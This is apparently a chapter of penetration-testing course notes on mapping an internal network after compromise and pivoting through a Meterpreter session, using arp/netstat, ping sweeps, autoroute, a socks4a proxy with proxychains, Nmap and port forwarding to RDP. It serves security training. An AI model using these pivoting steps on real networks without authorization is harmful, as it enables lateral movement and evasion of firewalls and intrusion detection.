Mapping the internal network

6.4. Mapping the internal network

In the previous step, we took into account information residing on the local victim computer. We will now take a look at the network.

As the name suggests, the main purpose of this step is to map internal organization's network in order to find other exploitable machines to getting closer to our goal (if any specified in the engagement)

Since we already have access to at least one internal machine, we can directly interact with the target environment (internal network) using it as a bridge.

Again, the purpose of this step is to infiltrate and exploit more hosts.

This is important when we have to prove that certain areas of the network are vulnerable or, when the client wants to verify the exposure of a certain information stored on given devices.

While we infiltrate networks, we still have to collect this information:

  • Network equipment such as firewall, switches, and routers

  • Other networked hosts and servers For each of them learn about OS, open ports, exploitable services, and more

  • Networking protocols and IP addresses

  • Traffic and data transmitted in the network.

For the sake of clarity, let us use a simple scenario like this:

    Attacker    ---------------Internet--------------- Router with Public IP
IP:66.176.44.***                                        Local IP:10.10.10.1
                                                                |
                                                                |
                                                              Switch
                                                                |
                                                                |
                          Exploited Machine ---------------------
                             10.10.10.15

Of course, in a real post exploitation process, we do not know the network map in advance. So let's see how we can figure it out, starting from the exploited machine.

  • ipconfig (Windows) or ifconfig (Linux) One of the simplest commands that can help us start drawing the network map is ipconfig (Windows) or ifconfig (Linux). The two commands will display the network configuration for each NIC on the machine.

    Although we are dealing with the Windows machine, meterpreter allows us to run ifconfig too.

    The result tells us that there is only one NIC and that the internal IP address of the machine is 10.10.10.15.

  • route print (Windows) or route -v (Linux) Other network information can be found in the IP routing table using route print command in Windows and route -v in Linux

    Result :

    meterpreter > route
IPv4 network routes
===================

  Subnet            Netmask          Gateway      Metric    Interface
  ------            -------          -------      ------    ---------
  0.0.0.0           0.0.0.0          10.10.10.1   266       11
  10.10.10.0        255.255.255.0    10.10.10.15  266       11
  10.10.10.15       255.255.255.255  10.10.10.15  266       11
  10.10.10.10.255   255.255.255.255  10.10.10.15  266       11
  127.0.0.0         255.0.0.0        127.0.0.1    306       1

  • arp Another bulit-in command that can help us to get even more information is arp, which displays the host ARP cache.

    ARP cache
=========
  IP address    MAC address          Interface
  ----------    -----------          ---------
  10.10.10.1    00:50:56:b1:10:48    11
  10.10.10.5    00:50:56:b1:c8:93    11
  10.10.10.255  ff:ff:ff:ff:ff:ff    11
  224.0.0.22    00:00:00:00:00:00    1
  244.0.0.22    01:00:5e:00:00:16    11

    As we can see in the results, we discovered a new IP address: 10.10.10.5

    While you find new targets, remember to keep track of your findings.

        Attacker    ---------------Internet--------------- Router with Public IP
IP:66.176.44.***                                        Local IP:10.10.10.1
                                                                |
                                                                |
                                                              Switch
                                                                |
                                                                |
                  (Exploited) Machine 1 -------------------------
                             10.10.10.15                        |
                                                                |
                              Machine 2 -------------------------
                             10.10.10.5

  • netstat Although arp may reveal new hosts in the network, another very important command to run is netstat. netstat allows us to display all the host network connections, which means listening ports, established connections, and so on.

    We also able to see process associated with each connection. For example, we can see that there is a current connection with the host 10.10.11.100, on port 80:

    Connection list
===============

  Proto   Local address       Remote address    State       User   Inode   PID/Program name
  -----   -------------       --------------    -----       ----   -----   ----------------   
  tcp     0.0.0.0:135         0.0.0.0:*         LISTEN      0      0       696/svchost.exe
  tcp     0.0.0.0:445         0.0.0.0:*         LISTEN      0      0       4/System
  tcp     0.0.0.0:49152       0.0.0.0:*         LISTEN      0      0       408/wininit.exe
  tcp     0.0.0.0:49153       0.0.0.0:*         LISTEN      0      0       800/svchost.exe
  ...
  tcp     10.10.10.10:49208   10.10.11.100:80   ESTABLISHED 0      0       3940/iexplore.exe
  ...

At this time we have basic information about the network and an exploited machine.

We can now move on and start detecting all the other hosts on the internal network. We will use the exploited machine as the router for our scans.

This way we can avoid security measures such as firewalls and IDS that may block incoming connections from the external network.

  • arp_scanner The easiest way to do this, is by running arp_scanner. The scripts performs an ARP scan in the local network and then lists the IP and MAC addresses found.

    The following is the help manual for the script:

    meterpreter > run arp_scanner -h
Meterpreter Script for performing an ARPS Scan Discovery

OPTIONS:

    -h        Help menu.
    -i        Enumerate Local Interfaces
    -r <opt>  The target address range or CIDR identifier
    -s        Save found IP Addresses to logs

    Let us run the command on the entire target subnet (10.10.10.10/24) and see what we obtain.

    meterpreter > run arp_scanner -r 10.10.10.0/24
[*] ARP Scanning 10.10.10.0/24
[*] IP: 10.10.10.1 MAC 00:50:56:b1:10:48
[*] IP: 10.10.10.7 MAC
[*] IP: 10.10.10.5 MAC
[*] IP: 10.10.10.15 MAC
[*] IP: 10.10.10.25 MAC

    Although the arp_scanner script is very straightforward, you should be aware that Metasploit offers different modules that we can use to detect alive hosts, open ports, and more.

  • ping_sweep Let's keep going with the alive host detection and run a ping scan on the remote network. The module that we are going to use is called ping_sweep and it allows us to set the session to which to run the scan.

    The following is the configuration of our module:

    msf > use post/multi/gather/ping_sweep
msf post(ping_sweep) > show options

Module options (post/multi/gather/ping_sweep):

  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  RHOSTS   10.10.10.0/24    yes       IP Range to perform ping sweep against.
  SESSION  2                yes       The session to run this module on

    With this configuration, we are telling Metasploit to run a ping sweep in the network 10.10.10.0/24, using the active session (2) on the exploited machine.

    Let's run the module and see what we get:

    msf post(ping_sweep) > run

[*] Performing ping sweep for IP range 10.10.10.0/24
[*]    10.10.10.5 host found
[*]    10.10.10.7 host found
[*]    10.10.10.1 host found
[*]    10.10.10.15 host found
[*]    10.10.10.25 host found
[*] Post module execution completed
msf post(ping_sweep) >

    So far it seems we have found the same hosts discovered with arp_scanner module.

    If you recall the netstat command run before, you would probably remember that an active connection with the machine 10.10.11.100. As you can see, this machine is part of another network.

    Since we cannot directly reach it from our machine, we can configure the ping_sweep module to scan the entire subnet, in order to find new hosts.

    Let us change the RHOSTS parameter in the ping_sweep module and see what we obtain.

    msf post(ping_sweep) > set RHOSTS 10.10.11.0/24
RHOSTS => 10.10.11.0/24
msf post(ping_sweep) > run

[*] Performing ping sweep for IP range 10.10.11.0/24
[*]     10.10.11.1 host found
[*]     10.10.11.100 host found
[*]     10.10.11.111 host found
[*] Post module execution completed
msf post(ping_sweep) >

    As we can see, we have discovered another host.

    The final configuration of the networks and hosts discovered can be summarized as follows:

        Attacker    -----------Internet----------- Router with Public IP
IP:66.176.44.***                                          |
                                                    ---------------
                                                    |             |
                                                Switch 1      Switch 2
                                               10.10.10.1    10.10.11.1
                                                    |             |
                                                    |             |
            (Exploited) Machine 1 ------------------|             |
                       10.10.10.15                  |             |
Machine 3   ----------------------------------------|             |
10.10.10.7              Machine 2 ------------------|             |
                       10.10.10.5                   |             |
Machine 4   -----------------------------------------             |
10.10.10.25             Machine 5 --------------------------------|
                       10.10.11.110                               |
                                                                  |
                        Machine 6 ---------------------------------
                       10.10.11.111

  • netenum The last script we are going to use is netenum. Although we will not use it in the following sections, we strongly suggest you play with it since it offers many features and configurations:

    meterpreter > run netnum -h
Network Enumerator Meterpreter Script
Usage:

OPTIONS:

Now that we know the addresses of new potential targets, we can scan them and check open ports, enabled services, their OS, and so on.

Pivoting

Notice that we are not able to directly access these hosts from our machine, therefore we will have to tunnel our traffic through session on the exploited machine.

The following image explains how pivoting works (see img-280):

         -3-----------        -------------
Attacker -1-----------Internet------------- Router
                                          10.10.10.1
                                             | |
                                             1 3
                                             | |
                                      -----Switch-----
  1 : Attacker to Victim 1            | | |        | |
  2 : Attacker to Victim 2            1 3 2        2 3
                                      | | |        | |
                                    Victim 1     Victim 2
                                  10.10.10.15   10.10.10.5

In this case the attacker uses the session on Victim 1 to send and receive communications to and from Victim 2.

So we know the target subnet is 10.10.10.0/24, and we want to route the traffic to/from this network through the meterpreter session on the exploited machine.

This is an extremely important part of your Post Exploitation process, so make sure you understand it correctly.

To pivot on sessions, we can use 2 different commands, both setting a new route to a new network:

  • route add 10.10.10.0 255.255.255.0 2 This will tell metasploit to route all the traffic intended to the network 10.10.10.0/24, through the meterpreter session number 2. In other words, all the traffic to 10.10.10.0/24 will be tunneled through Victim 1.

    We can run the command from the msfconsole as follows, and then check if route has been added with the route print command:

    msf > route add 10.10.10.0 255.255.255.0 2
[*] Route added
msf > route print

Active Routing Table
====================

  Subnet              Netmask           Gateway
  ------              -------           -------
  10.10.10.0          255.255.255.0     Session 2

    Note: If you want to delete, print or flush the routes you can use the route command. The following is the help manual displaying all available options.

    msf > route -h
Usage: route [add/remove/get/flush/print] subnet mask [comm/sid]

Route traffic destined to a given subnet through a supplied session.
The default comm is Local.

  • net autoroute -s 10.10.10.0.24 Different from the previous command, this is a script that we have to run from within a meterpreter session. Notice that the results of the two commands are the same. All the traffic intended to the network 10.10.10.0/24, will be routed through the current meterpreter session.

    Let's see how the command works and then check the current routing table with the autoroute -p command:

    meterpreter > run autoroute -s 10.10.10.0/24
[*] Adding a route to 10.10.10.0/255.255.255.0...
[+] Added route to 10.10.10.0/255.255.255.0 via 66.176.44.1
[*] Use the -p option to list all active routes
meterpreter > run autoroute -p

Active Routing Table
====================

  Subnet              Netmask             Gateway
  ------              -------             -------
  10.10.10.0          255.255.255.0       Session 2

With the route set, we are now able to use the exploited machine (through our meterpreter session) as a router for our communication with the organization internal network (10.10.10.0/24). For example, let us try to run a port scan on one of the host found in the previous steps.

The metasploit module that allows is to run a simple TCP port scan is located at the following path: use auxiliary/scanner/portscan/tcp

Example: ``` msf > use auxiliary/scanner/portscan/tcp msf auxiliary(tcp) > show options

Module options (auxiliary/scanner/portscan/tcp):

  Name            Current Setting   Required    Description
  ----            ---------------   --------    -----------
  CONCURRENCY     10                yes         The number of concurrent port to
  PORTS           100-500           yes         Ports to scan (e.g.22-25,80,1-90)
  RHOSTS          10.10.10.5        yes         The target address range or CIDR
  THREADS         10                yes         The number of concurrent threads
  TIMEOUT         1000              yes         The socket connect timeout in ms
```

As you can see, the module allows us to select the hosts to scan, the port range, the number of threads. and a few other options/

Let's run it and see if the target has some open ports: ``` msf auxiliary(tcp) > run

[*] 10.10.10.5:139 - TCP OPEN
[*] 10.10.10.5:135 - TCP OPEN
[*] 10.10.10.5:445 - TCP OPEN
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(tcp) >
```

The next snapshot, shows the traffic on the host `10.10.10.15` (Victim 1), while performing the port scan on Victim 2 from our Attacker machine.

As you can notice, the traffic happens between Victim 1 and Victim 2, so the routing is working fine.

Here we can see that the scan is performed by the Victim 1. (see img-291, wireshark)

Once again, remember that this is working only because we add the route to the target network. Indeed if we flush the routes and try to run the command once again, we will not obtain any results.

So far we have just scratched the surface of the internal network. We have to identify all the other hosts first, their services, open ports, and so on.

Only after the information gathering phase on these hosts is complete, we can continue with our penetration phase. Remember this is indeed aa cyclic process.

Sometimes Metasploit modules are not enough and we may want to run tools like Nmap or Nessus on these new hosts.

To do this, we will once again use the current session on the exploited machine, to pivot external tools via the meterpreter session and its routes.

In order to do this we will have to set up socks4 proxy within Metasploit and then use tools like proxychains to route the traffic through this proxy.

Steps: 1. First, select and configure the socks4a module on Metasploit: ``` msf > use auxiliary/server/socks4a msf auxiliary(socks4a) > info

        Name: Socks4a Proxy Server
      Module: auxilary/server/socks4a
     License: Metasploit Framework License (BSD)
        Rank: Normal
  ```
  This module provides a socks4 proxy server that uses the built-in Metasploit routing to relay connections.
2. Once selected, we just need to set the `SRVHOST` and the `SRVPORT` parameters, and then `run` the module <br>
  In our case we will leave the address to listen on (`SRVHOST`) as default, but we will change the port to `1080`:
    ```
    msf auxiliary(socks4a) > show options

    Module options (auxiliary/server/socks4a):

        Name      Current Setting   Required    Description
        ----      ---------------   --------    -----------
        SRVHOST   0.0.0.0           yes         The address to listen on
        SRVPORT   1080              yes         The port to listen on
    ```
  Once the module runs, we will see that our host will listen for incoming connection on port 1080:
    ```
    root@els:~# netstat -tulpn | grep 1080
    tcp       0       0 0.0.0.0:1080        0.0.0.0:*           LISTEN
    16121/ruby
    ```

3. The last step is to configure tools like `proxychains`, in order to use the address and port set in Metasploit.
  `proxychains` is a tool that forces any TCP connection made by any given application, to follow through proxy like SOCKS4, SOCK%, TOR, and so on.

  To configure `proxychains`, let us open the `proxychain.conf` file (you can find it in `/etc/`), and change the last line as follow:
    ```
    [ProxyList]
    # add proxy here ...
    # meanwhile
    # defaults set to "tor"
    socks4    127.0.0.1 1080
    ```

  In other words, we are instructing `proxychains` to use the proxy set with Metasploit and its routes. The following diagram shows how the traffic will be redirected:
    ```
    Tools-->proxychains-->Metasploit socks4a proxy - 0.0.0.0:1080-->Meterpreter routes-->Meterpreter session--> Target network
    ```

Now that everything is configured, we can use a scanning tool, such as Nmap, against the host within the target's internal network. In our test, we will try to scan the host 10.10.10.5. Our command will look like the following: proxychains nmap -sT -Pn -n 10.10.10.5 --top-ports 50 By adding proxychains before the Nmap scan command, we will force nmap to run through it.

As we can see in the following screencap, the Nmap scan is going through the proxy (see img-302):
  ```
  stsuser@els:~$ sudo proxychains nmap -sT -Pn -n 10.10.10.5 --top-ports 50
  ProxyChains-3.1 (http://proxychains.sf.net)

  Starting Nmap 7.00 ( http://nmap.org ) at 2016-03-23 EDT
  |S-chain|-<>-127.0.0.1:1080-<><>-10.10.10.5:111-<--denied
  |S-chain|-<>-127.0.0.1:1080-<><>-10.10.10.5:143-<--denied
  |S-chain|-<>-127.0.0.1:1080-<><>-10.10.10.5:554-<--denied
  |S-chain|-<>-127.0.0.1:1080-<><>-10.10.10.5:25-<--denied
  |S-chain|-<>-127.0.0.1:1080-<><>-10.10.10.5:199-<--denied
  |S-chain|-<>-127.0.0.1:1080-<><>-10.10.10.5:22-<--denied
  |S-chain|-<>-127.0.0.1:1080-<><>-10.10.10.5:3306-<--denied
  |S-chain|-<>-127.0.0.1:1080-<><>-10.10.10.5:139-<><>-OK
  |S-chain|-<>-127.0.0.1:1080-<><>-10.10.10.5:110-<--denied
  ```

At the end of the scan, we will see the results in our terminal, as if we were running it normally:
  ```
  |S-chain|-<>-127.0.0.1:1080-<><>-10.10.10.5:1433-<--denied
  Nmap scan report for 10.10.10.5
  Host is up (1.5s latency)
  Not shown: 47 closed ports
  PORT      STATE SERVICE
  135/tcp   open  msrpc
  139/tcp   open  netbios-ssn
  445/tcp   open  microsoft-ds

  Nmap done: 1 IP address (1 host is up) scanned in 71.66 seconds
  ```

If we inspect the traffic on the exploited machine, we can see that there is no direct traffic between our attacker box (`66.176.44.106`) and the target (`10.10.10.5`) (see img-104)

So far we used proxychains to run a port scan on the internal network. It is important to understand that thanks to this configuration we are able to route packets to networks behind NAT configurations or Firewalls.

Moreover, we can use proxychains in order to establish connections to services running on machines within the target network.

For example, if one of the machine has services like SSH, telnet, databases, and so on, we can use the following commands to contact and establish a connection with it: proxychains ssh 10.10.10.XX proxychains telnet 10.10.10.XX

In addition to proxychains, we can also use portfwd command, implemented in meterpreter. It allows us to forward connections to specific addresses and ports on the remote network.

Therefore, if we want to access a webserver, a share or any other service on the remote network, we can just set a port forwarding rule through the meterpreter session, and access it from our local address. For example, the following command will open a listener on our local IP address on port 3333, and will forward the connection to the IP address 10.10.10.5 on port 3389: ``` meterpreter > portfwd add -1 3333 -p 3389 -r 10.10.10.5 [*] Local TCP relay created: 0.0.0.0:333 <-> 10.10.10.5:3389 meterpreter > portfwd 0: 0.0.0.0:3333 -> 10.10.10.5:3389

1 total local port forwards.
```

Once the commands runs, we should see a listening connection, like the following: stduser@les:~/Downloads$ netstat -tulpn | grep 3333 (Nott all process could be identified, non-owned process info will not be shown, you would have to be root to see it all.) tcp 0 0 0.0.0.0:3333 0.0.0.0:* LISTEN -

Now that we are sure we are listening for incoming connection on port 3333, we can try to establish an RDP session with the machine 10.10.10.5.

Once again, remember that the traffic will go through the exploited machine, to the target machine. ``` Attacker : portfwd listener (0.0.0.0:3333)->Meterpreter session | V Exploited machine : 10.10.10.15 | | 10.10.10.5:3389 V Target machine : 10.10.10.5

```

To do this, we will try to establish an RDP session to our local IP address on port 3333: rdesktop 127.0.0.1:3333

At this point of pentest you should have a more detailed map of the internal network and its hosts. It is now time to start digging more closely to see if any of the new machines discovered can be exploited (via our current active session on Victim 1 - 10.10.10.15)

(see vid-313)

PreviousPillaging / Data HarvestingNextExploitation through Pivoting

Last updated